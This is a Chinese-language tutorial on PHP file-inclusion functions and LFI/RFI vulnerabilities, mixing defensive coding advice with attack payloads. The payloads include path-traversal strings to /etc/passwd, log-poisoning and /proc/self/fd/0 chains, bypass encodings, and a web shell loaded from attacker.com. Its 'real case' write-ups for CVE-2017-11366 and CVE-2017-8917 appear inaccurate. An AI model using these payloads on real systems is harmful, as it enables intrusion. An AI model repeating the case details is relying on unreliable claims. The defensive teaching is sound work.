php文件包含函数|安全与实战指南

⚡ php文件包含函数全景概览

在PHP开发中,文件包含是构建模块化、可复用代码的基础能力。通过动态引入外部脚本,开发者可实现逻辑解耦、配置复用与功能扩展。然而,不当使用将直接导致严重安全风险——本地文件包含(LFI)与远程文件包含(RFI)已成为Web攻击的高频入口点,常被用于窃取敏感配置、执行任意代码乃至服务器提权。

本文系统梳理PHP四大核心包含函数:include、include_once、require、require_once,深入解析其执行机制、路径解析逻辑、错误处理差异,并结合真实渗透测试案例,揭示攻击链构造路径;同时提供可落地的防御策略与代码审计要点,帮助开发者构建纵深安全防线。

特别说明:PHP 7.4+已默认禁用allow_url_include=Off,但本地路径遍历(如../../etc/passwd)仍可触发LFI;而RFI依赖allow_url_fopen与allow_url_include双重开启,现代环境较少启用,但老旧系统或特殊配置仍存风险。

⚙️ php文件包含函数核心机制详解

〔1〕四大函数功能对比与语义差异

核心函数行为矩阵

函数 失败处理 重复包含 执行时机 适用场景
include 发出警告并继续执行 允许重复包含 运行时动态解析 非关键模块、可选功能
include_once 同上 首次包含后缓存路径 运行时(带缓存检查) 类库/配置文件
require 致命错误并终止脚本 允许重复包含 脚本编译阶段预解析 核心依赖(如数据库连接)
require_once 同上 首次包含后缓存路径 编译阶段(带缓存) 不可替代的初始化模块

关键细节:当使用require时,PHP在编译阶段即尝试解析路径;若失败,脚本根本不会进入执行阶段——这与include在运行时失败后仍可继续执行形成本质差异。在安全审计中,require_once虽避免重复加载,但若攻击者能控制路径参数,仍可注入恶意文件。

〔2〕路径解析逻辑与“相对路径陷阱”

PHP文件包含路径遵循以下解析顺序:

  1. 检查include_path配置(由php.ini或.htaccess定义)
  2. 当前脚本所在目录(仅include/require,非_once变体)
  3. 绝对路径(如/var/www/html/inc/config.php)

⚠️ 高风险场景示例:

// index.php 位于 /var/www/html/
include "inc/header.php";  // 成功:解析为 /var/www/html/inc/header.php
// /var/www/html/inc/header.php 内容:
include $_GET['theme'];  // 危险!攻击者可控制变量

若攻击者访问:http://example.com/index.php?theme=../../etc/passwd%00,在PHP<5.4.6版本中,%00截断可绕过后缀限制,导致敏感文件泄露。现代PHP虽禁用%00截断,但路径遍历(../)仍可构造LFI。

〔3〕变量污染与动态包含风险

以下模式是LFI漏洞的“黄金入口”:

  • 用户输入直接拼接路径:include "templates/" . $_GET['page'] . ".php"
  • 通过$_REQUEST获取路径:include $_REQUEST['file']
  • 会话变量污染:$_SESSION['template'] = $_GET['tpl']; include $_SESSION['template'];

防御核心原则:白名单校验 + 路径规范化 + 后缀强制限制

✅ 安全编码范例:

$allowed = ['home', 'about', 'contact'];
$page = basename($_GET['page'] ?? 'home');
if (in_array($page, $allowed)) {
    include __DIR__ . "/pages/{$page}.php";
} else {
    include __DIR__ . '/pages/error.php';
}

关键点说明:

  • basename()剥离路径信息,防止../注入
  • __DIR__确保绝对路径引用
  • 白名单严格限定允许值

〔风险〕php文件包含漏洞的三大攻击维度

〔1〕本地文件包含(LFI)攻击链

LFI利用服务器本地文件路径遍历,读取敏感信息或触发代码执行。典型攻击路径:

  • 阶段1:敏感文件读取——?file=../../../etc/passwd、?file=/proc/self/environ
  • 阶段2:日志污染(Log Poisoning)——将恶意代码写入访问日志:
    GET / HTTP/1.1
    再通过LFI读取日志文件:?file=/var/log/apache2/access.log
  • 阶段3:会话文件注入——?file=/tmp/sess_,若会话数据含用户输入(如搜索关键词),可注入代码
  • 阶段4:临时文件利用——上传文件后利用/tmp/phpXXXXXX路径包含(需竞态条件)

⚠️ 重要提示:Linux系统中/proc/self/fd/0可读取STDIN输入(需POST数据),配合LFI可实现命令执行:

POST /upload.php HTTP/1.1
...

GET /?file=/proc/self/fd/0 HTTP/1.1

〔2〕远程文件包含(RFI)攻击链

RFI要求allow_url_include=On(现代PHP默认关闭)。若配置开启,攻击者可远程加载恶意脚本:

  • 构造恶意PHP文件:http://attacker.com/shell.php,内容:<?php system($_GET['cmd']); ?>
  • 触发包含:?file=http://attacker.com/shell.php?cmd=whoami

⚠️ 防御要点:

  • 关闭allow_url_include(php.ini中设为Off)
  • 禁止用户控制的URL参数直接用于include
  • 使用filter_input()过滤GET/POST数据

〔3〕路径遍历的变种与绕过技巧

攻击者常用绕过手段:

绕过方式 原理 示例
双写.. 服务端过滤一次后残留../ ....// → 过滤后为../
Unicode编码 %c0%ae(UTF-8下为.) %c0%ae%c0%ae/
目录符号链接 创建软链接指向敏感目录 ln -s /etc /tmp/passwd → ?file=/tmp/passwd/passwd
空字节截断(PHP<5.4.6) %00终止字符串 ?file=shell.php%00.jpg

〔攻击〕真实渗透测试案例还原

案例1:WordPress主题模板LFI漏洞(CVE-2017-11366)

漏洞文件:wp-content/themes/twentyseventeen/header.php

$header_image = get_header_image();
if (!empty($header_image)) {
    include get_template_directory() . "/header-image.php";
}

攻击者控制$header_image参数(通过customize.php),注入路径:../../../etc/passwd,但需绕过get_template_directory()返回绝对路径。实际利用需结合chdir()改变工作目录:

POST /wp-admin/customize.php HTTP/1.1
...
theme=twentyseventeen&header_image=...&file=../../../etc/passwd

注:此案例中漏洞点实际在WP_Customize_Manager类未校验路径,最终通过include触发。修复方式:对get_template_directory()返回值进行白名单比对。

案例2:Joomla! 3.7.0 LFI(CVE-2017-8917)

漏洞路径:administrator/components/com_newsfeeds/helpers/newsfeed.php

include JPATH_COMPONENT . '/helpers/' . $path;

攻击者通过$path注入:../../configuration.php,但需绕过JPATH_COMPONENT前缀。利用%00截断(PHP<5.4.6):

?path=....//....//configuration.php%00

实际利用链:攻击者访问后台登录页→构造POST请求→利用LFI读取configuration.php→提取数据库凭证→登录后台→上传恶意插件。

案例3:日志污染+LFI实现RCE

步骤演示:

  1. 上传文件时,将恶意代码写入日志:
    curl -H "User-Agent: " http://target.com/
  2. 通过LFI读取日志文件:
    ?file=/var/log/apache2/access.log
  3. 日志内容被解析为PHP执行,返回www-data

防御措施:

  • 禁止日志中记录用户输入(或进行HTML实体编码)
  • 使用非日志目录存储会话文件(session.save_path=/var/lib/php/sessions)
  • 定期清理临时文件目录

〔防御〕php文件包含安全编码七原则

〔1〕绝对路径优先原则

始终使用__DIR__或dirname(__FILE__)构建绝对路径:

// 危险
include "lib/db.php";
// 安全
include __DIR__ . "/lib/db.php";

原因:相对路径依赖工作目录(cwd),在CLI或复杂调用链中易被篡改。

〔2〕白名单校验原则

对用户输入的文件名进行严格校验:

$allowed_files = [
    'home' => 'home.php',
    'about' => 'about.php',
    'contact' => 'contact.php'
];
$page = $_GET['page'] ?? 'home';
if (isset($allowed_files[$page])) {
    include __DIR__ . '/pages/' . $allowed_files[$page];
} else {
    include __DIR__ . '/pages/error.php';
}

补充:若需动态支持子目录,应使用realpath()验证路径合法性:

$base = __DIR__ . '/pages';
$path = realpath($base . '/' . basename($_GET['page']) . '.php');
if ($path && strpos($path, $base) === 0) {
    include $path;
}

〔3〕后缀强制限制原则

使用pathinfo()校验扩展名:

$file = $_GET['file'];
$info = pathinfo($file);
if ($info['extension'] !== 'php') {
    die('Invalid file type');
}

⚠️ 注意:攻击者可上传.php.jpg或.phtml,需结合getimagesize()检测文件头。

〔4〕open_basedir限制原则

在php.ini中配置:

open_basedir = /var/www/html:/tmp

作用:限制include仅能访问指定目录。但需注意:

  • 攻击者仍可读取指定目录内任意文件(如/tmp/sess_*)
  • 需配合session.save_path调整会话目录

〔5〕disable_functions防护

在php.ini中禁用高危函数:

disable_functions = exec,passthru,system,shell_exec,proc_open,popen

即使LFI成功,若无法执行系统命令,攻击链即被截断。

〔6〕错误信息关闭

生产环境必须关闭错误显示:

display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

避免泄露路径信息(如Warning: include(/var/www/html/...): failed to open stream)。

〔7〕代码审计工具集成

推荐工具:

  • SonarQube(配置PHP规则)
  • PHPStan(静态分析)
  • Psalm(类型检查)
  • 自定义规则:扫描include.*\$_(GET|POST|REQUEST)

〔案例〕php文件包含漏洞修复对比

修复前(高危)

// template.php
$template = $_GET['t'] ?: 'default';
include "templates/{$template}.php";

修复后(安全)

多层防护方案

// template.php
$base_dir = __DIR__ . '/templates';
$allowed = ['default', 'blue', 'dark'];
$template = basename($_GET['t'] ?? 'default');
// 1. 白名单校验
if (!in_array($template, $allowed)) {
    $template = 'error';
}
// 2. 路径规范化
$path = realpath($base_dir . "/{$template}.php");
// 3. 路径合法性检查
if (!$path || strpos($path, $base_dir) !== 0) {
    http_response_code(403);
    exit('Access denied');
}
// 4. 最终包含
include $path;

修复效果:

  • 杜绝路径遍历(basename() + realpath())
  • 禁止非预期文件(白名单)
  • 避免执行非PHP文件(强制后缀)

〔问答〕php文件包含高频问题解答

Q1:include与require本质区别?
Q2:为什么require_once仍可能被攻击?
Q3:如何检测是否存在LFI漏洞?
Q4:PHP 8对文件包含有变化吗?

A1:include失败时仅发出E_WARNING并继续执行;require失败时触发E_ERROR并终止脚本。从安全角度,require更易暴露路径(因直接终止),但include可能导致后续逻辑异常引发新漏洞。建议:核心依赖用require_once,可选模块用include。